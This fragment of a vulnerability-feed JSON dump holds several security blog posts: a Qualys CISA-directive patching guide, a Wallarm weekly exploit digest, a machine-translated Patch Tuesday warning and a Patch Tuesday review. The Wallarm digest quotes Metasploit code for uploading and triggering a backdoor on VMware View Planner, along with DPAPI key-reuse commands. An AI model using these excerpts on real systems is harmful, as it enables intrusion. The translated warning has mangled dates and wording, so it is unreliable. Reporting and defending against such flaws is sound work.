with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/patch-mgmt-windows2.jpg)\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n![](https://blog.qualys.com/wp-content/uploads/2022/02/CISA-6.jpg)\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help your organization to achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>) to our credit.\n\nHere are a few steps Federal entities can take immediately:\n\n * Run vulnerability assessments against all of your assets by leveraging our various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Qualys Patch Management to apply patches and other configuration changes\n * Track remediation progress through our Unified Dashboards\n\n### Summary\n\nUnderstanding just which vulnerabilities exist in your environment is a critical but small part of threat mitigation. Qualys VMDR helps customers discover their exposure, assess threats, assign risk, and remediate threats \u2013 all in a single unified solution. Qualys customers rely on the accuracy of Qualys\u2019 threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any size organization efficiently respond to CISA Binding Operational Directive 22-01.\n\n#### Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-23T05:39:00", "type": "qualysblog", "title": "Managing CISA Known Exploited Vulnerabilities with Qualys VMDR", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2010-5326", "CVE-2012-0158", "CVE-2012-0391", "CVE-2012-3152", "CVE-2013-3900", "CVE-2013-3906", "CVE-2014-1761", "CVE-2014-1776", "CVE-2014-1812", "CVE-2015-1635", "CVE-2015-1641", "CVE-2015-4852", "CVE-2016-0167", "CVE-2016-0185", "CVE-2016-3088", "CVE-2016-3235", "CVE-2016-3643", "CVE-2016-3976", "CVE-2016-7255", "CVE-2016-9563", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0199", "CVE-2017-0262", "CVE-2017-0263", "CVE-2017-10271", "CVE-2017-11774", "CVE-2017-11882", "CVE-2017-12149", "CVE-2017-5638", "CVE-2017-5689", "CVE-2017-6327", "CVE-2017-7269", "CVE-2017-8464", "CVE-2017-8759", "CVE-2017-9791", "CVE-2017-9805", "CVE-2017-9841", "CVE-2018-0798", "CVE-2018-0802", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-15961", "CVE-2018-15982", "CVE-2018-2380", "CVE-2018-4878", "CVE-2018-4939", "CVE-2018-6789", "CVE-2018-7600", "CVE-2018-8174", "CVE-2018-8453", "CVE-2018-8653", "CVE-2019-0193", "CVE-2019-0211", "CVE-2019-0541", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-0752", "CVE-2019-0797", "CVE-2019-0803", "CVE-2019-0808", "CVE-2019-0859", "CVE-2019-0863", "CVE-2019-10149", "CVE-2019-10758", "CVE-2019-11510", "CVE-2019-11539", "CVE-2019-1214", "CVE-2019-1215", "CVE-2019-13272", "CVE-2019-1367", "CVE-2019-1429", "CVE-2019-1458", "CVE-2019-16759", "CVE-2019-17026", "CVE-2019-17558", "CVE-2019-18187", "CVE-2019-18988", "CVE-2019-2725", "CVE-2019-8394", "CVE-2019-9978", "CVE-2020-0601", "CVE-2020-0646", "CVE-2020-0674", "CVE-2020-0683", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-0796", "CVE-2020-0878", "CVE-2020-0938", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-10148", "CVE-2020-10189", "CVE-2020-1020", "CVE-2020-1040", "CVE-2020-1054", "CVE-2020-1147", "CVE-2020-11738", "CVE-2020-11978", "CVE-2020-1350", "CVE-2020-13671", "CVE-2020-1380", "CVE-2020-13927", "CVE-2020-1464", "CVE-2020-1472", "CVE-2020-14750", "CVE-2020-14871", "CVE-2020-14882", "CVE-2020-14883", "CVE-2020-15505", "CVE-2020-15999", "CVE-2020-16009", "CVE-2020-16010", "CVE-2020-16013", "CVE-2020-16017", "CVE-2020-17087", "CVE-2020-17144", "CVE-2020-17496", "CVE-2020-17530", "CVE-2020-24557", "CVE-2020-25213", "CVE-2020-2555", "CVE-2020-6207", "CVE-2020-6287", "CVE-2020-6418", "CVE-2020-6572", "CVE-2020-6819", "CVE-2020-6820", "CVE-2020-8243", "CVE-2020-8260", "CVE-2020-8467", "CVE-2020-8468", "CVE-2020-8599", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-22204", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33766", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35247", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36934", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37415", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40438", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-40539", "CVE-2021-4102", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42292", "CVE-2021-42321", "CVE-2021-43890", "CVE-2021-44077", "CVE-2021-44228", "CVE-2021-44515", "CVE-2022-0609", "CVE-2022-21882", "CVE-2022-24086"], "modified": "2022-02-23T05:39:00", "id": "QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "wallarmlab": [{"lastseen": "2021-08-19T16:35:42", "description": "Welcome to our weekly exploit digest! We should say this hasn't been a big week because guys keep producing exploits for the vulnerabilities discovered in the 1st half of March. Nevertheless, we have some new good arrivals for VMware, MS Windows and Win32 to talk about. \n\n### New 4+ scored exploits have arrived for 7 software titles:\n\n * VMware View Planner (v4.6)\n * Win32k ConsoleControl\n * Microsoft Exchange 2019\n * Microsoft Windows Containers DP API\n * SonLogger (v4.2.3.3)\n * LiveZilla Server (v8.0.1.0)\n * CuteNews (v2.1.2)\n\n### Here are the types of new exploiting tools:\n\nFile upload| 2 \n---|--- \nRCE| 1 \nOffset Confusion| 1 \nCryptography Flaw| 1 \nSSRF| 1 \nXSS| 1 \n \n## And the title winners of the week are: \n\n## ![treat menace vulnerability exploit](https://i1.wp.com/lab.wallarm.com/wp-content/uploads/2021/03/virus.png?resize=512%2C512&ssl=1)\n\n## I. The Vicious One\n\n### The title goes to this angry piece of code:\n\n[**VMware View Planner 4.6 Remote Code Execution**](<https://vulners.com/packetstorm/PACKETSTORM:161879>)\n\n[CVE-2021-21978](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21978>) \n**Score: CVSS 7.5** \n**Metasploit +**\n \n \n The versions of VMWare View Planner prior to 4.6 Security Patch 1 contain a remote code execution vulnerability (RCE). \n\nThis module exploits an unauthenticated log file upload within the `log_upload_wsgi.py` file, where an unauthorized attacker with network access to View Planner Harness could upload and execute an arbitrary file in the `logupload` web application.\n \n \n def upload_file(content) \n mime = Rex::MIME::Message.new \n mime.add_part(content, 'application/octet-stream', nil, \"form-data; name=\\\"logfile\\\";filename=\\\"#{Rex::Text.rand_text_alpha(20)}\\\"\") \n mime.add_part('{\"itrLogPath\":\"/etc/http/html/wsgi_log_upload\",\"logFileType\":\"log_upload_wsgi.py\"}', nil, nil, 'form-data; name=\"logMetaData\"') \n res = send_request_cgi( \n 'method' => 'POST', \n 'uri' => normalize_uri(target_uri.path, 'logupload'), \n 'ctype' => \"multipart/form-data; boundary=#{mime.bound}\", \n 'data' => mime.to_s \n ) \n ...\n \n\nSuccessful exploitation of this vulnerability can result in RCE as the apache user inside the `apacheServer` Docker container. Let's look how it's realized.\n\nFirst grab the template file from a clean install with a backdoor section added to it. Then fill in the PAYLOAD placeholder with the payload to execute. \n \n \n data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname) \n file_content = File.read(File.join(data_dir, 'log_upload_wsgi.py')) payload.encoded.gsub!(/\"/, '\\\\\"')\n file_content['PAYLOAD'] = payload.encoded \n\nWhen the things are primed, upload the file to the target.\n \n \n print_status('Uploading backdoor to system via the arbitrary file upload vulnerability!')\n upload_file(file_content)\n print_good('Backdoor uploaded!')\n\nThen use the `OPTIONS` request to trigger the backdoor. Technically this could be any other HTTP method including invalid ones like `BACKDOOR`, but for the stealth you better use a legit one. \n \n \n send_request_cgi( 'method' => 'OPTIONS', 'uri' => normalize_uri(target_uri.path, 'logupload') ) ...\n\n### The second place in this category goes here: \n\n[**Win32k ConsoleControl Offset Confusion**](<https://vulners.com/packetstorm/PACKETSTORM:161880>)\n\n[CVE-2021-1732](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1732>),[CVE-2016-7255](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7255>) \n**Score: CVSS 7.2 \nMetasploit +**\n \n \n A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\\SYSTEM. \n\nThe flaw exists in how the `WndExtra` field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation. \n\n* * *\n\n## ![treat menace vulnerability exploit](https://i0.wp.com/lab.wallarm.com/wp-content/uploads/2021/03/coding.png?resize=512%2C512&ssl=1)\n\n## II. The Geek of the Week\n\nIn our not so humble opinion, this one is the coolest thing we saw last week. It is all about Windows Docker Information Disclosure Vulnerability, and since we love our Docker containers, so\n\n### The title goes to this exploit:\n\n[**Microsoft Windows Containers DP API Cryptography Flaw**](<https://vulners.com/packetstorm/PACKETSTORM:161816>)\n\n[CVE-2021-1645](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1645>) \n**Score: CVSS 6.1 \nMetasploit +**\n \n \n The Windows Data Protection API (DP API) allows applications to encrypt arbitrary data without managing keys. You can pass any data to the API, and it then returns an encrypted blob, or you can reverse an encrypted blob with DP API to recover the plain text. The cryptographic key used is either tied to the user context or is unique to a machine. There was a design issue with DP API in containers which resulted in DP API using the same key in all Windows containers. Additionally, these keys were public in base-image layers published by Microsoft.\n\nThe above vulnerability applies to both user- and machine-key DP API encryption within Windows Docker containers, we used the machine key encryption in our explanations. Typically, a machine key is tied to a (virtual-)machine. Therefore, a machine is not capable of decrypting data encrypted by an application on another device. However, due to a design matter, DP API machine keys used in containers came from the container images. Since Windows Docker images are based on identical base images, the containers\u2019 DP API keys were the same. As long as the base image is public, the DP API keys were public also.\n\nTherefore, DP API operations performed by any Windows container application were ineffective, as the encryption key that was used is public. That is why organizations that used DP API in Windows Docker containers and relied on it to store encrypted data are in a potentially insecure location and should consider this data as compromised.\n\nLets' see how to make this exploit work. First, start a docker container called Alice on VM1:\n \n \n \\$ docker run --name Alice -it mcr.microsoft.com/dotnet/framework/runtime:4.8-windowsservercore-ltsc2019 cmd.exe\n\nThen, encrypt a file in the Alice container using the powershell script `vault.ps1`: \n \n \n C:\\>powershell.exe -File vault.ps1 -StoreSecret \"This is my secret text\" secret.txt\n C:\\>type secret.txt AQAAA...vJ8aUP9 \n\nStart a docker container Bob on VM2:\n \n \n \\$ docker run --name Bob -it mcr.microsoft.com/dotnet/framework/runtime:4.8-windowsservercore-ltsc2019 cmd.exe\n\nThe next command shows that the file encrypted by Alice on VM1 can be decrypted in the Bob container on VM2:\n \n \n C:\\>powershell.exe -File vault.ps1 secret.txt This is my secret text\n\nNext use the `vault.ps1` PowerShell script from <https://blag.nullteilerfrei.de/2018/01/05/powershell-dpapi-script/>.\n\n* * *\n\n## Other hi-scored exploits published this week: \n\n[**SonLogger 4.2.3.3 Shell Upload (Unauthenticated Arbitrary File Upload)**](<https://vulners.com/packetstorm/PACKETSTORM:161793>)\n\n[CVE-2021-27964](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27964>) \n**Score: CVSS 7.5 \nMetasploit +**\n \n \n This module exploits an unauthenticated arbitrary file upload via insecure POST request.\n\n**[Microsoft Exchange 2019 SSRF / Arbitrary File Write](<https://vulners.com/packetstorm/PACKETSTORM:161846>)**\n\n[CVE-2021-26855](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855>) \n**Score: 7.5**\n \n \n This one exploits an SSRF vulnerability in Exchange that allows privileged access to Exchange\u2019s backend resources - one of the four zero-day vulnerabilities in MS Exchange discovered in March.\n\n[**CuteNews 2.1.2 Shell Upload**](<https://vulners.com/packetstorm/PACKETSTORM:161833>)\n\n[CVE-2019-11447](<https://vulners.com/cve/CVE-2019-11447>) \n**Score: CVSS 6.5**\n \n \n An attacker can infiltrate the server through the avatar upload process in the profile area via the avatar_file field to index.php?mod=main&opt=personal.\n\n[**LiveZilla Server 8.0.1.0 Cross Site Scripting**](<https://vulners.com/packetstorm/PACKETSTORM:161867>)\n\n[CVE-2019-12962](<https://vulners.com/cve/CVE-2019-12962>) \n**Score: CVSS 4.3**\n \n \n LiveZilla Server before 8.0.1.1 is vulnerable to XSS in mobile/index.php via the Accept-Language HTTP header.\n\nThe post [Weekly exploit digest - March, 15-21 - VMware View Planner, Win32k ConsoleControl, Microsoft Windows Containers DP API](<https://lab.wallarm.com/exploit-digest-march-15-21-vulnerabilities-vmware-win32k-windows-containers/>) appeared first on [Wallarm](<https://lab.wallarm.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-21T13:09:00", "type": "wallarmlab", "title": "Weekly exploit digest \u2013 March, 15-21 \u2013 VMware View Planner, Win32k ConsoleControl, Microsoft Windows Containers DP API", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-7255", "CVE-2019-11447", "CVE-2019-12962", "CVE-2021-1645", "CVE-2021-1732", "CVE-2021-21978", "CVE-2021-26855", "CVE-2021-27964"], "modified": "2021-03-21T13:09:00", "id": "WALLARMLAB:C5940EBF622709A929825B8B12592EF5", "href": "https://lab.wallarm.com/exploit-digest-march-15-21-vulnerabilities-vmware-win32k-windows-containers/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "myhack58": [{"lastseen": "2019-03-16T23:58:51", "description": "GMT 2019 3 October 14, Microsoft issued a routine security update, patching Internet Explorer, Edge, Exchange Server, ChakraCore, Windows, Office, NuGet\u5305\u7ba1\u7406\u5668\u548c.NET Framework of multiple products in a vulnerability. This 64 CVE, 17 were rated as severe(Critical), 45 were rated as important(Important), one was rated medium(Moderate), one was rated as low(Low). Four of the vulnerabilities are classified as public, the two vulnerabilities released patches before attackers take advantage of. A few of the more important of the vulnerability details are as follows. \nCVE-2019-0797: this is Kaspersky Lab recently found in the Wild being used and reports of a fourth windows kernel 0day vulnerability to be found the EXP for from win8 to win10 build 15063 64-bit system. Kaspersky Lab believes that this vulnerability is more APT organization uses, including but not limited to FruityArmor and SandCat on. In Kaspersky's blog provides some technical details: The fourth horseman: CVE-2019-0797 vulnerability \nCVE-2019-0808: this is a google found in the wild and the chrome 0day exploit with sandbox escape windows kernel 0day vulnerability, after 360CERT has been released. warning: CVE-2019-5786: chrome in the wild exploit 0day vulnerability warning. 360 Core Security Technology Center by writing code to construct a POC for a vulnerability to trigger the process for some of the reduction, so that security vendors can increase the appropriate protective measures: about CVE-2019-0808 kernel mention the right vulnerability cause analysis. The vulnerability is a NULL pointer dereference vulnerability, only in win7 on the use, it is found that the EXP for win7 32-bit system. \nCVE-2019-0697, CVE-2019-0698, CVE-2019-0726: this is the month to repair the three DHCP-related vulnerabilities. Domestic and international security research team for last month repair DHCP in CVE-2019-0626 issued a technical analysis: the Windows DHCP Server Remote Code Execution Vulnerability Analysis CVE-2019-0626; and Analyzing a Windows DHCP Server Bug (CVE-2019-0626)\u3002 When the attacker sends to the DHCP server well-designed data packet and successfully exploited, it can be in the DHCP service in the execution of arbitrary code. Microsoft has released for win10 1803/1809 and windows server 2019/1803 patch. \nCVE-2019-0603: the vulnerability could allow an attacker via a specially crafted TFTP message executed with elevated privileges code. 2019 3 May 6, checkpoint released a blog post discloses 2018 11 on the repair of the TFTP in CVE-2018-8476: the PXE Dust: Finding a Vulnerability in Windows Servers Deployment Services. The vulnerability is similar to CVE-2018-8476, but this vulnerability in the TFTP service implementation, but not in the TFTP Protocol itself. windows released from win7 to win10 multiple versions of the patch. \nIn view of this month to fix multiple vulnerabilities affecting serious, some technical details of the disclosure, 360CERT recommended that the majority of users as soon as possible for repair. \n\n0x01 timeline \n2019-03-13 Microsoft issued a routine security update \n2019-03-15 360CERT assessment of vulnerabilities, post vulnerabilities and Early Warning Bulletin \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2019-03-17T00:00:00", "type": "myhack58", "title": "By 2019, 3-month Microsoft patch day multiple vulnerabilities early warning-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0797", "CVE-2019-0808", "CVE-2019-0697", "CVE-2019-0626", "CVE-2019-0726", "CVE-2019-0698", "CVE-2018-8476", "CVE-2019-5786", "CVE-2019-0603"], "modified": "2019-03-17T00:00:00", "id": "MYHACK58:62201993173", "href": "http://www.myhack58.com/Article/html/3/62/2019/93173.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "avleonov": [{"lastseen": "2021-07-28T14:34:07", "description": "Hello everyone! Let's now talk about Microsoft Patch Tuesday vulnerabilities for the second quarter of 2021. April, May and June. Not the most exciting topic, I agree. I am surprised that someone is reading or watching this. For me personally, this is a kind of tradition. Plus this is an opportunity to try Vulristics in action and find possible problems. It is also interesting to see what VM vendors considered critical back then and what actually became critical. I will try to keep this video short.\n\nFirst of all, let's take a look at the vulnerabilities from the April Patch Tuesday. 108 vulnerabilities, 55 of them are RCEs. Half of these RCEs (27) are weird RPC vulnerabilities. "Researcher who reported these bugs certainly found quite the attack surface". The most critical vulnerability is RCE in Exchange (CVE-2021-28480). This is not ProxyLogon, this is another vulnerability. ProxyLogon was in March. And this vulnerability is simply related to ProxyLogon, so it is believed that it is exploited in the wild as well. In the second place this Win32k Elevation of Privilege (CVE-2021-28310). It is clearly mentioned in several sources as being used in real attacks. "Bugs of this nature are typically combined with other bugs, such as a browser bug or PDF exploit, to take over a system". And the only vulnerability with a public exploit is the Azure DevOps Server Spoofing (CVE-2021-28459). Previously known as Team Foundation Server (\u200bTFS), Azure DevOps Server is a set of collaborative software development tools. It is hosted on-premises. Therefore, this vulnerability can be useful for attackers.\n\nLet's take a look at May. A very small Patch Tuesday. There are only 55 vulnerabilities. Vendors mainly wrote about HTTP Protocol Stack Remote Code Execution Vulnerability. But no catastrophe happened. "tenable: On May 16, security researcher 0vercl0k published PoC code to github for CVE-2021-31166. Based on our analysis, this exploit could only result in a denial of service (DoS) condition". VM vendors also wrote a lot about Hyper-V Remote Code Execution Vulnerability. But there was no real exploitation there either. But a real exploit appeared for Remote Code Execution in Microsoft SharePoint (CVE-2021-31181). And exploitation in the wild was mentioned for Windows Container Manager Service (CVE-2021-31167), which no VM vendor mentioned at all. But the exploitation was "Personally observed in an environment", so this may not be accurate. Also take a look at Memory Corruption in Microsoft Scripting Engine (CVE-2021-26419) with a public exploit and Information Disclosure in Windows Wireless Networking (CVE-2020-24587) with a sign of exploitation in the wild (but this also may not be accurate).\n\nAnd finally June. There are even fewer vulnerabilities, only 49. But there are a lot of them with a sign of exploitation in the wild. And this information is directly from Microsoft. Windows MSHTML Platform Remote Code Execution (CVE-2021-33742). Elevations of Privilege in Windows NTFS (CVE-2021-31956), Microsoft Enhanced Cryptographic Provider (CVE-2021-31199, CVE-2021-31201), Microsoft DWM Core Library (CVE-2021-33739). Windows Kernel Information Disclosure (CVE-2021-31955). Much more than usual. VM vendors have written the most about EoP in Windows NTFS (CVE-2021-31956). Do you know what vulnerability they didn't highlight at all? Elevations of Privilege and later Remote Code Execution in Windows Print Spooler (CVE-2021-1675). The one that started the PrintNightmare story. Very 